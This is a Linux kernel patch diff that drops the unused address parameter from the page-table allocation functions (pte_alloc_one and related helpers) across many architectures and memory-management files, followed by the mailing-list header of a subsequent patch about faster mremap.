diff --git a/arch/powerpc/include/asm/book3s/64/pgalloc.h b/arch/powerpc/include/asm/book3s/64/pgalloc.h
index 391ed2c3b697..8f1d92e99fe5 100644
--- a/arch/powerpc/include/asm/book3s/64/pgalloc.h
+++ b/arch/powerpc/include/asm/book3s/64/pgalloc.h
@@ -42,7 +42,7 @@ extern struct kmem_cache *pgtable_cache[];
 			pgtable_cache[(shift) - 1];	\
 		})
 
-extern pte_t *pte_fragment_alloc(struct mm_struct *, unsigned long, int);
+extern pte_t *pte_fragment_alloc(struct mm_struct *, int);
 extern pmd_t *pmd_fragment_alloc(struct mm_struct *, unsigned long);
 extern void pte_fragment_free(unsigned long *, int);
 extern void pmd_fragment_free(unsigned long *);
@@ -192,16 +192,14 @@ static inline pgtable_t pmd_pgtable(pmd_t pmd)
 	return (pgtable_t)pmd_page_vaddr(pmd);
 }
 
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-					  unsigned long address)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
-	return (pte_t *)pte_fragment_alloc(mm, address, 1);
+	return (pte_t *)pte_fragment_alloc(mm, 1);
 }
 
-static inline pgtable_t pte_alloc_one(struct mm_struct *mm,
-				      unsigned long address)
+static inline pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
-	return (pgtable_t)pte_fragment_alloc(mm, address, 0);
+	return (pgtable_t)pte_fragment_alloc(mm, 0);
 }
 
 static inline void pte_free_kernel(struct mm_struct *mm, pte_t *pte)
diff --git a/arch/powerpc/include/asm/nohash/32/pgalloc.h b/arch/powerpc/include/asm/nohash/32/pgalloc.h
index 8825953c225b..16623f53f0d4 100644
--- a/arch/powerpc/include/asm/nohash/32/pgalloc.h
+++ b/arch/powerpc/include/asm/nohash/32/pgalloc.h
@@ -83,8 +83,8 @@ static inline void pmd_populate(struct mm_struct *mm, pmd_t *pmdp,
 #define pmd_pgtable(pmd) pmd_page(pmd)
 #endif
 
-extern pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr);
-extern pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long addr);
+extern pte_t *pte_alloc_one_kernel(struct mm_struct *mm);
+extern pgtable_t pte_alloc_one(struct mm_struct *mm);
 
 static inline void pte_free_kernel(struct mm_struct *mm, pte_t *pte)
 {
diff --git a/arch/powerpc/include/asm/nohash/64/pgalloc.h b/arch/powerpc/include/asm/nohash/64/pgalloc.h
index e2d62d033708..2e7e0230edf4 100644
--- a/arch/powerpc/include/asm/nohash/64/pgalloc.h
+++ b/arch/powerpc/include/asm/nohash/64/pgalloc.h
@@ -96,14 +96,12 @@ static inline void pmd_free(struct mm_struct *mm, pmd_t *pmd)
 }
 
 
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-					  unsigned long address)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	return (pte_t *)__get_free_page(GFP_KERNEL | __GFP_ZERO);
 }
 
-static inline pgtable_t pte_alloc_one(struct mm_struct *mm,
-				      unsigned long address)
+static inline pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *page;
 	pte_t *pte;
diff --git a/arch/powerpc/mm/pgtable-book3s64.c b/arch/powerpc/mm/pgtable-book3s64.c
index 9f93c9f985c5..6f9d434b0a4c 100644
--- a/arch/powerpc/mm/pgtable-book3s64.c
+++ b/arch/powerpc/mm/pgtable-book3s64.c
@@ -384,7 +384,7 @@ static pte_t *__alloc_for_ptecache(struct mm_struct *mm, int kernel)
 	return (pte_t *)ret;
 }
 
-pte_t *pte_fragment_alloc(struct mm_struct *mm, unsigned long vmaddr, int kernel)
+pte_t *pte_fragment_alloc(struct mm_struct *mm, int kernel)
 {
 	pte_t *pte;
 
diff --git a/arch/powerpc/mm/pgtable_32.c b/arch/powerpc/mm/pgtable_32.c
index bda3c6f1bd32..1d8e2d98db98 100644
--- a/arch/powerpc/mm/pgtable_32.c
+++ b/arch/powerpc/mm/pgtable_32.c
@@ -43,7 +43,7 @@ EXPORT_SYMBOL(ioremap_bot);	/* aka VMALLOC_END */
 
 extern char etext[], _stext[], _sinittext[], _einittext[];
 
-__ref pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long address)
+__ref pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *pte;
 
@@ -57,7 +57,7 @@ __ref pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long address)
 	return pte;
 }
 
-pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long address)
+pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *ptepage;
 
diff --git a/arch/riscv/include/asm/pgalloc.h b/arch/riscv/include/asm/pgalloc.h
index a79ed5faff3a..94043cf83c90 100644
--- a/arch/riscv/include/asm/pgalloc.h
+++ b/arch/riscv/include/asm/pgalloc.h
@@ -82,15 +82,13 @@ static inline void pmd_free(struct mm_struct *mm, pmd_t *pmd)
 
 #endif /* __PAGETABLE_PMD_FOLDED */
 
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-	unsigned long address)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	return (pte_t *)__get_free_page(
 		GFP_KERNEL | __GFP_RETRY_MAYFAIL | __GFP_ZERO);
 }
 
-static inline struct page *pte_alloc_one(struct mm_struct *mm,
-	unsigned long address)
+static inline struct page *pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *pte;
 
diff --git a/arch/s390/include/asm/pgalloc.h b/arch/s390/include/asm/pgalloc.h
index 5ee733720a57..bccb8f4a63e2 100644
--- a/arch/s390/include/asm/pgalloc.h
+++ b/arch/s390/include/asm/pgalloc.h
@@ -139,8 +139,8 @@ static inline void pmd_populate(struct mm_struct *mm,
 /*
  * page table entry allocation/free routines.
  */
-#define pte_alloc_one_kernel(mm, vmaddr) ((pte_t *) page_table_alloc(mm))
-#define pte_alloc_one(mm, vmaddr) ((pte_t *) page_table_alloc(mm))
+#define pte_alloc_one_kernel(mm) ((pte_t *)page_table_alloc(mm))
+#define pte_alloc_one(mm) ((pte_t *)page_table_alloc(mm))
 
 #define pte_free_kernel(mm, pte) page_table_free(mm, (unsigned long *) pte)
 #define pte_free(mm, pte) page_table_free(mm, (unsigned long *) pte)
diff --git a/arch/sh/include/asm/pgalloc.h b/arch/sh/include/asm/pgalloc.h
index ed053a359ab7..8ad73cb31121 100644
--- a/arch/sh/include/asm/pgalloc.h
+++ b/arch/sh/include/asm/pgalloc.h
@@ -32,14 +32,12 @@ static inline void pmd_populate(struct mm_struct *mm, pmd_t *pmd,
 /*
  * Allocate and free page tables.
  */
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-					  unsigned long address)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	return quicklist_alloc(QUICK_PT, GFP_KERNEL, NULL);
 }
 
-static inline pgtable_t pte_alloc_one(struct mm_struct *mm,
-					unsigned long address)
+static inline pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *page;
 	void *pg;
diff --git a/arch/sparc/include/asm/pgalloc_32.h b/arch/sparc/include/asm/pgalloc_32.h
index 90459481c6c7..282be50a4adf 100644
--- a/arch/sparc/include/asm/pgalloc_32.h
+++ b/arch/sparc/include/asm/pgalloc_32.h
@@ -58,10 +58,9 @@ void pmd_populate(struct mm_struct *mm, pmd_t *pmdp, struct page *ptep);
 void pmd_set(pmd_t *pmdp, pte_t *ptep);
 #define pmd_populate_kernel(MM, PMD, PTE) pmd_set(PMD, PTE)
 
-pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long address);
+pgtable_t pte_alloc_one(struct mm_struct *mm);
 
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-					  unsigned long address)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	return srmmu_get_nocache(PTE_SIZE, PTE_SIZE);
 }
diff --git a/arch/sparc/include/asm/pgalloc_64.h b/arch/sparc/include/asm/pgalloc_64.h
index 874632f34f62..48abccba4991 100644
--- a/arch/sparc/include/asm/pgalloc_64.h
+++ b/arch/sparc/include/asm/pgalloc_64.h
@@ -60,10 +60,8 @@ static inline void pmd_free(struct mm_struct *mm, pmd_t *pmd)
 	kmem_cache_free(pgtable_cache, pmd);
 }
 
-pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-			    unsigned long address);
-pgtable_t pte_alloc_one(struct mm_struct *mm,
-			unsigned long address);
+pte_t *pte_alloc_one_kernel(struct mm_struct *mm);
+pgtable_t pte_alloc_one(struct mm_struct *mm);
 void pte_free_kernel(struct mm_struct *mm, pte_t *pte);
 void pte_free(struct mm_struct *mm, pgtable_t ptepage);
 
diff --git a/arch/sparc/mm/init_64.c b/arch/sparc/mm/init_64.c
index 3c8aac21f426..b4221d3727d0 100644
--- a/arch/sparc/mm/init_64.c
+++ b/arch/sparc/mm/init_64.c
@@ -2925,8 +2925,7 @@ void __flush_tlb_all(void)
 			     : : "r" (pstate));
 }
 
-pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-			    unsigned long address)
+pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	struct page *page = alloc_page(GFP_KERNEL | __GFP_ZERO);
 	pte_t *pte = NULL;
@@ -2937,8 +2936,7 @@ pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
 	return pte;
 }
 
-pgtable_t pte_alloc_one(struct mm_struct *mm,
-			unsigned long address)
+pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *page = alloc_page(GFP_KERNEL | __GFP_ZERO);
 	if (!page)
diff --git a/arch/sparc/mm/srmmu.c b/arch/sparc/mm/srmmu.c
index a6142c5abf61..b609362e846f 100644
--- a/arch/sparc/mm/srmmu.c
+++ b/arch/sparc/mm/srmmu.c
@@ -364,12 +364,12 @@ pgd_t *get_pgd_fast(void)
  * Alignments up to the page size are the same for physical and virtual
  * addresses of the nocache area.
  */
-pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long address)
+pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
 	unsigned long pte;
 	struct page *page;
 
-	if ((pte = (unsigned long)pte_alloc_one_kernel(mm, address)) == 0)
+	if ((pte = (unsigned long)pte_alloc_one_kernel(mm)) == 0)
 		return NULL;
 	page = pfn_to_page(__nocache_pa(pte) >> PAGE_SHIFT);
 	if (!pgtable_page_ctor(page)) {
diff --git a/arch/um/include/asm/pgalloc.h b/arch/um/include/asm/pgalloc.h
index bf90b2aa2002..99eb5682792a 100644
--- a/arch/um/include/asm/pgalloc.h
+++ b/arch/um/include/asm/pgalloc.h
@@ -25,8 +25,8 @@
 extern pgd_t *pgd_alloc(struct mm_struct *);
 extern void pgd_free(struct mm_struct *mm, pgd_t *pgd);
 
-extern pte_t *pte_alloc_one_kernel(struct mm_struct *, unsigned long);
-extern pgtable_t pte_alloc_one(struct mm_struct *, unsigned long);
+extern pte_t *pte_alloc_one_kernel(struct mm_struct *);
+extern pgtable_t pte_alloc_one(struct mm_struct *);
 
 static inline void pte_free_kernel(struct mm_struct *mm, pte_t *pte)
 {
diff --git a/arch/um/kernel/mem.c b/arch/um/kernel/mem.c
index 1067469ba2ea..e494c7719b24 100644
--- a/arch/um/kernel/mem.c
+++ b/arch/um/kernel/mem.c
@@ -199,7 +199,7 @@ void pgd_free(struct mm_struct *mm, pgd_t *pgd)
 	free_page((unsigned long) pgd);
 }
 
-pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long address)
+pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *pte;
 
@@ -207,7 +207,7 @@ pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long address)
 	return pte;
 }
 
-pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long address)
+pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *pte;
 
diff --git a/arch/unicore32/include/asm/pgalloc.h b/arch/unicore32/include/asm/pgalloc.h
index f0fdb268f8f2..7cceabecf4e3 100644
--- a/arch/unicore32/include/asm/pgalloc.h
+++ b/arch/unicore32/include/asm/pgalloc.h
@@ -34,7 +34,7 @@ extern void free_pgd_slow(struct mm_struct *mm, pgd_t *pgd);
  * Allocate one PTE table.
  */
 static inline pte_t *
-pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr)
+pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *pte;
 
@@ -46,7 +46,7 @@ pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr)
 }
 
 static inline pgtable_t
-pte_alloc_one(struct mm_struct *mm, unsigned long addr)
+pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *pte;
 
diff --git a/arch/x86/include/asm/pgalloc.h b/arch/x86/include/asm/pgalloc.h
index ec7f43327033..f6861b700f5e 100644
--- a/arch/x86/include/asm/pgalloc.h
+++ b/arch/x86/include/asm/pgalloc.h
@@ -47,8 +47,8 @@ extern gfp_t __userpte_alloc_gfp;
 extern pgd_t *pgd_alloc(struct mm_struct *);
 extern void pgd_free(struct mm_struct *mm, pgd_t *pgd);
 
-extern pte_t *pte_alloc_one_kernel(struct mm_struct *, unsigned long);
-extern pgtable_t pte_alloc_one(struct mm_struct *, unsigned long);
+extern pte_t *pte_alloc_one_kernel(struct mm_struct *);
+extern pgtable_t pte_alloc_one(struct mm_struct *);
 
 /* Should really implement gc for free page table pages. This could be
    done with a reference count in struct page. */
diff --git a/arch/x86/mm/pgtable.c b/arch/x86/mm/pgtable.c
index 59274e2c1ac4..27f63a74b45d 100644
--- a/arch/x86/mm/pgtable.c
+++ b/arch/x86/mm/pgtable.c
@@ -23,12 +23,12 @@ EXPORT_SYMBOL(physical_mask);
 
 gfp_t __userpte_alloc_gfp = PGALLOC_GFP | PGALLOC_USER_GFP;
 
-pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long address)
+pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	return (pte_t *)__get_free_page(PGALLOC_GFP & ~__GFP_ACCOUNT);
 }
 
-pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long address)
+pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *pte;
 
diff --git a/arch/xtensa/include/asm/pgalloc.h b/arch/xtensa/include/asm/pgalloc.h
index 1065bc8bcae5..b3b388ff2f01 100644
--- a/arch/xtensa/include/asm/pgalloc.h
+++ b/arch/xtensa/include/asm/pgalloc.h
@@ -38,8 +38,7 @@ static inline void pgd_free(struct mm_struct *mm, pgd_t *pgd)
 	free_page((unsigned long)pgd);
 }
 
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-					 unsigned long address)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *ptep;
 	int i;
@@ -52,13 +51,12 @@ static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
 	return ptep;
 }
 
-static inline pgtable_t pte_alloc_one(struct mm_struct *mm,
-					unsigned long addr)
+static inline pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
 	pte_t *pte;
 	struct page *page;
 
-	pte = pte_alloc_one_kernel(mm, addr);
+	pte = pte_alloc_one_kernel(mm);
 	if (!pte)
 		return NULL;
 	page = virt_to_page(pte);
diff --git a/include/linux/mm.h b/include/linux/mm.h
index 5411de93a363..f0d4f8108f22 100644
--- a/include/linux/mm.h
+++ b/include/linux/mm.h
@@ -1817,8 +1817,8 @@ static inline void mm_inc_nr_ptes(struct mm_struct *mm) {}
 static inline void mm_dec_nr_ptes(struct mm_struct *mm) {}
 #endif
 
-int __pte_alloc(struct mm_struct *mm, pmd_t *pmd, unsigned long address);
-int __pte_alloc_kernel(pmd_t *pmd, unsigned long address);
+int __pte_alloc(struct mm_struct *mm, pmd_t *pmd);
+int __pte_alloc_kernel(pmd_t *pmd);
 
 /*
  * The following ifdef needed to get the 4level-fixup.h header to work.
@@ -1956,18 +1956,17 @@ static inline void pgtable_page_dtor(struct page *page)
 	pte_unmap(pte);					\
 } while (0)
 
-#define pte_alloc(mm, pmd, address)			\
-	(unlikely(pmd_none(*(pmd))) && __pte_alloc(mm, pmd, address))
+#define pte_alloc(mm, pmd) (unlikely(pmd_none(*(pmd))) && __pte_alloc(mm, pmd))
 
 #define pte_alloc_map(mm, pmd, address)			\
-	(pte_alloc(mm, pmd, address) ? NULL : pte_offset_map(pmd, address))
+	(pte_alloc(mm, pmd) ? NULL : pte_offset_map(pmd, address))
 
 #define pte_alloc_map_lock(mm, pmd, address, ptlp)	\
-	(pte_alloc(mm, pmd, address) ?			\
+	(pte_alloc(mm, pmd) ?			\
 		 NULL : pte_offset_map_lock(mm, pmd, address, ptlp))
 
 #define pte_alloc_kernel(pmd, address)			\
-	((unlikely(pmd_none(*(pmd))) && __pte_alloc_kernel(pmd, address))? \
+	((unlikely(pmd_none(*(pmd))) && __pte_alloc_kernel(pmd))? \
 		NULL: pte_offset_kernel(pmd, address))
 
 #if USE_SPLIT_PMD_PTLOCKS
diff --git a/mm/huge_memory.c b/mm/huge_memory.c
index 55478ab3c83b..29ab88b04d3b 100644
--- a/mm/huge_memory.c
+++ b/mm/huge_memory.c
@@ -558,7 +558,7 @@ static vm_fault_t __do_huge_pmd_anonymous_page(struct vm_fault *vmf,
 		return VM_FAULT_FALLBACK;
 	}
 
-	pgtable = pte_alloc_one(vma->vm_mm, haddr);
+	pgtable = pte_alloc_one(vma->vm_mm);
 	if (unlikely(!pgtable)) {
 		ret = VM_FAULT_OOM;
 		goto release;
@@ -702,7 +702,7 @@ vm_fault_t do_huge_pmd_anonymous_page(struct vm_fault *vmf)
 		struct page *zero_page;
 		bool set;
 		vm_fault_t ret;
-		pgtable = pte_alloc_one(vma->vm_mm, haddr);
+		pgtable = pte_alloc_one(vma->vm_mm);
 		if (unlikely(!pgtable))
 			return VM_FAULT_OOM;
 		zero_page = mm_get_huge_zero_page(vma->vm_mm);
@@ -791,7 +791,7 @@ vm_fault_t vmf_insert_pfn_pmd(struct vm_area_struct *vma, unsigned long addr,
 		return VM_FAULT_SIGBUS;
 
 	if (arch_needs_pgtable_deposit()) {
-		pgtable = pte_alloc_one(vma->vm_mm, addr);
+		pgtable = pte_alloc_one(vma->vm_mm);
 		if (!pgtable)
 			return VM_FAULT_OOM;
 	}
@@ -927,7 +927,7 @@ int copy_huge_pmd(struct mm_struct *dst_mm, struct mm_struct *src_mm,
 	if (!vma_is_anonymous(vma))
 		return 0;
 
-	pgtable = pte_alloc_one(dst_mm, addr);
+	pgtable = pte_alloc_one(dst_mm);
 	if (unlikely(!pgtable))
 		goto out;
 
diff --git a/mm/kasan/kasan_init.c b/mm/kasan/kasan_init.c
index c7550eb65922..5edb8b29a827 100644
--- a/mm/kasan/kasan_init.c
+++ b/mm/kasan/kasan_init.c
@@ -120,7 +120,7 @@ static int __ref zero_pmd_populate(pud_t *pud, unsigned long addr,
 			pte_t *p;
 
 			if (slab_is_available())
-				p = pte_alloc_one_kernel(&init_mm, addr);
+				p = pte_alloc_one_kernel(&init_mm);
 			else
 				p = early_alloc(PAGE_SIZE, NUMA_NO_NODE);
 			if (!p)
diff --git a/mm/memory.c b/mm/memory.c
index 15c417e8e31d..1f7e6eef6ae4 100644
--- a/mm/memory.c
+++ b/mm/memory.c
@@ -400,10 +400,10 @@ void free_pgtables(struct mmu_gather *tlb, struct vm_area_struct *vma,
 	}
 }
 
-int __pte_alloc(struct mm_struct *mm, pmd_t *pmd, unsigned long address)
+int __pte_alloc(struct mm_struct *mm, pmd_t *pmd)
 {
 	spinlock_t *ptl;
-	pgtable_t new = pte_alloc_one(mm, address);
+	pgtable_t new = pte_alloc_one(mm);
 	if (!new)
 		return -ENOMEM;
 
@@ -434,9 +434,9 @@ int __pte_alloc(struct mm_struct *mm, pmd_t *pmd, unsigned long address)
 	return 0;
 }
 
-int __pte_alloc_kernel(pmd_t *pmd, unsigned long address)
+int __pte_alloc_kernel(pmd_t *pmd)
 {
-	pte_t *new = pte_alloc_one_kernel(&init_mm, address);
+	pte_t *new = pte_alloc_one_kernel(&init_mm);
 	if (!new)
 		return -ENOMEM;
 
@@ -2895,7 +2895,7 @@ static vm_fault_t do_anonymous_page(struct vm_fault *vmf)
 	 *
 	 * Here we only have down_read(mmap_sem).
 	 */
-	if (pte_alloc(vma->vm_mm, vmf->pmd, vmf->address))
+	if (pte_alloc(vma->vm_mm, vmf->pmd))
 		return VM_FAULT_OOM;
 
 	/* See the comment in pte_alloc_one_map() */
@@ -3042,7 +3042,7 @@ static vm_fault_t pte_alloc_one_map(struct vm_fault *vmf)
 		pmd_populate(vma->vm_mm, vmf->pmd, vmf->prealloc_pte);
 		spin_unlock(vmf->ptl);
 		vmf->prealloc_pte = NULL;
-	} else if (unlikely(pte_alloc(vma->vm_mm, vmf->pmd, vmf->address))) {
+	} else if (unlikely(pte_alloc(vma->vm_mm, vmf->pmd))) {
 		return VM_FAULT_OOM;
 	}
 map_pte:
@@ -3121,7 +3121,7 @@ static vm_fault_t do_set_pmd(struct vm_fault *vmf, struct page *page)
 	 * related to pte entry. Use the preallocated table for that.
 	 */
 	if (arch_needs_pgtable_deposit() && !vmf->prealloc_pte) {
-		vmf->prealloc_pte = pte_alloc_one(vma->vm_mm, vmf->address);
+		vmf->prealloc_pte = pte_alloc_one(vma->vm_mm);
 		if (!vmf->prealloc_pte)
 			return VM_FAULT_OOM;
 		smp_wmb(); /* See comment in __pte_alloc() */
@@ -3359,8 +3359,7 @@ static vm_fault_t do_fault_around(struct vm_fault *vmf)
 			start_pgoff + nr_pages - 1);
 
 	if (pmd_none(*vmf->pmd)) {
-		vmf->prealloc_pte = pte_alloc_one(vmf->vma->vm_mm,
-						  vmf->address);
+		vmf->prealloc_pte = pte_alloc_one(vmf->vma->vm_mm);
 		if (!vmf->prealloc_pte)
 			goto out;
 		smp_wmb(); /* See comment in __pte_alloc() */
diff --git a/mm/migrate.c b/mm/migrate.c
index f7e4bfdc13b7..1777a9327dbf 100644
--- a/mm/migrate.c
+++ b/mm/migrate.c
@@ -2599,7 +2599,7 @@ static void migrate_vma_insert_page(struct migrate_vma *migrate,
 	 *
 	 * Here we only have down_read(mmap_sem).
 	 */
-	if (pte_alloc(mm, pmdp, addr))
+	if (pte_alloc(mm, pmdp))
 		goto abort;
 
 	/* See the comment in pte_alloc_one_map() */
diff --git a/mm/mremap.c b/mm/mremap.c
index 7f9f9180e401..7c9ab747f19d 100644
--- a/mm/mremap.c
+++ b/mm/mremap.c
@@ -238,7 +238,7 @@ unsigned long move_page_tables(struct vm_area_struct *vma,
 			if (pmd_trans_unstable(old_pmd))
 				continue;
 		}
-		if (pte_alloc(new_vma->vm_mm, new_pmd, new_addr))
+		if (pte_alloc(new_vma->vm_mm, new_pmd))
 			break;
 		next = (new_addr + PMD_SIZE) & PMD_MASK;
 		if (extent > next - new_addr)
diff --git a/mm/userfaultfd.c b/mm/userfaultfd.c
index 5029f241908f..f05c8bc38ca5 100644
--- a/mm/userfaultfd.c
+++ b/mm/userfaultfd.c
@@ -513,7 +513,7 @@ static __always_inline ssize_t __mcopy_atomic(struct mm_struct *dst_mm,
 			break;
 		}
 		if (unlikely(pmd_none(dst_pmdval)) &&
-		    unlikely(__pte_alloc(dst_mm, dst_pmd, dst_addr))) {
+		    unlikely(__pte_alloc(dst_mm, dst_pmd))) {
 			err = -ENOMEM;
 			break;
 		}
diff --git a/virt/kvm/arm/mmu.c b/virt/kvm/arm/mmu.c
index 5eca48bdb1a6..0a36b1708b76 100644
--- a/virt/kvm/arm/mmu.c
+++ b/virt/kvm/arm/mmu.c
@@ -628,7 +628,7 @@ static int create_hyp_pmd_mappings(pud_t *pud, unsigned long start,
 		BUG_ON(pmd_sect(*pmd));
 
 		if (pmd_none(*pmd)) {
-			pte = pte_alloc_one_kernel(NULL, addr);
+			pte = pte_alloc_one_kernel(NULL);
 			if (!pte) {
 				kvm_err("Cannot allocate Hyp pte\n");
 				return -ENOMEM;
-- 
2.19.1.930.g4563a0d9d0-goog

From - Thu Nov 08 21:42:25 2018
X-Mozilla-Status: 0000
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Joel Fernandes <joel@joelfernandes.org>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.riscv,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH -next-akpm 3/3] mm: select HAVE_MOVE_PMD in x86 for faster
 mremap
Date: Thu,  8 Nov 2018 10:12:01 -0800
Lines: 26
Approved: news@gmane.org
Message-ID: <20181108181201.88826-4-joelaf@google.com>
References: <20181108181201.88826-1-joelaf@google.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1541700636 20179 195.159.176.226 (8 Nov 2018 18:10:36 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 8 Nov 2018 18:10:36 +0000 (UTC)
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 Michal Hocko <mhocko@kernel.org>, linux-mm@kvack.org, lokeshgidra@google.com,
 "Joel Fernandes \(Google\)" <joel@joelfernandes.org>,
 linux-riscv@lists.infradead.org, anton.ivanov@kot-begemot.co.uk,
 Jonas Bonn <jonas@southpole.se>, linux-s390@vger.kernel.org, dancol@google.com,
 Yoshinori Sato <ysato@users.sourceforge.jp>, sparclinux@vger.kernel.org,
 linux-xtensa@linux-xtensa.org, linux-hexagon@vger.kernel.org,
 Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE 32-BIT AND 64-BIT" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, kvmarm@l
To: linux-kernel@vger.kernel.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Thu Nov 08 19:10:26 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gKol7-0004wo-B0
	for gla-linux-snps-arc@m.gmane.org; Thu, 08 Nov 2018 19:10:25 +0100
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:MIME-Version:References:In-Reply-To:
	Message-Id:Date:Subject:To:From:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=vOmGpS+xE0zcmUE48zeU9vsU8JY3XV5cOEvkstaN+5Q=; b=Hrv+JghhhO9eoY
	EH7m/lX0OZjUTmzF/zOd7PFbjJO4rI2oZairVNqUujBzrRd3uoZdyXeWJo4Jwefg1RvGV8QCN09h8
	R3NA77rQTiwlOzcMP534GQ2RUZHbNUfkuGWsoz6K6szdywqdQ3Ng+7Fxkucj4frlMadXHG+1W1txX
	O77Po03ZeZTUXZkMrHFcUk4NxFG2OJdmcu+7OSr3K0pfAaCJBA0u/lpDF3cJo5i+Uu09AFTKG0MCm
	j5NCpBkox1jZyW1sEMwhjVlfTeL2G90ayxU1b5cdhXM1yB1YTc4cXI+Pm2bzngSv7BqscOCDv+Fdn
	RvZx9ueIhK7e0z+iMU5w==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gKonC-0008GV-TK; Thu, 08 Nov 2018 18:12:34 +0000
Original-Received: from mail-pl1-x641.google.com ([2607:f8b0:4864:20::641])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gKon7-00086Z-LE
 for linux-snps-arc@lists.infradead.org; Thu, 08 Nov 2018 18:12:31 +0000
Original-Received: by mail-pl1-x641.google.com with SMTP id c13-v6so9891159plz.13
 for <linux-snps-arc@lists.infradead.org>; Thu, 08 Nov 2018 10:12:19 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=joelfernandes.org; s=google;
 h=from:to:cc:subject:date:message-id:in-reply-to:references
 :mime-version:content-transfer-encoding;
 bh=ba1SMLAqIgmFI6NH+RBLXEYzItBpgF4xQcT0H6ilVn4=;
 b=Sd/TmY9ueaUX+dApcoIPz7eAiunY6S8dWblAnYCegng0zsspcZ/BAyYvXqKHGnfFnr
 jrW93Eh4p6ZETBfFvU23lIxT3wP6dIvp1WSxOZnUAcSq8Wm9nP/e0Wijn/ien3UEVX4p
 QX1eigA/kEAUmS4Qut12n2rTOw/aGSwvEtyjY=
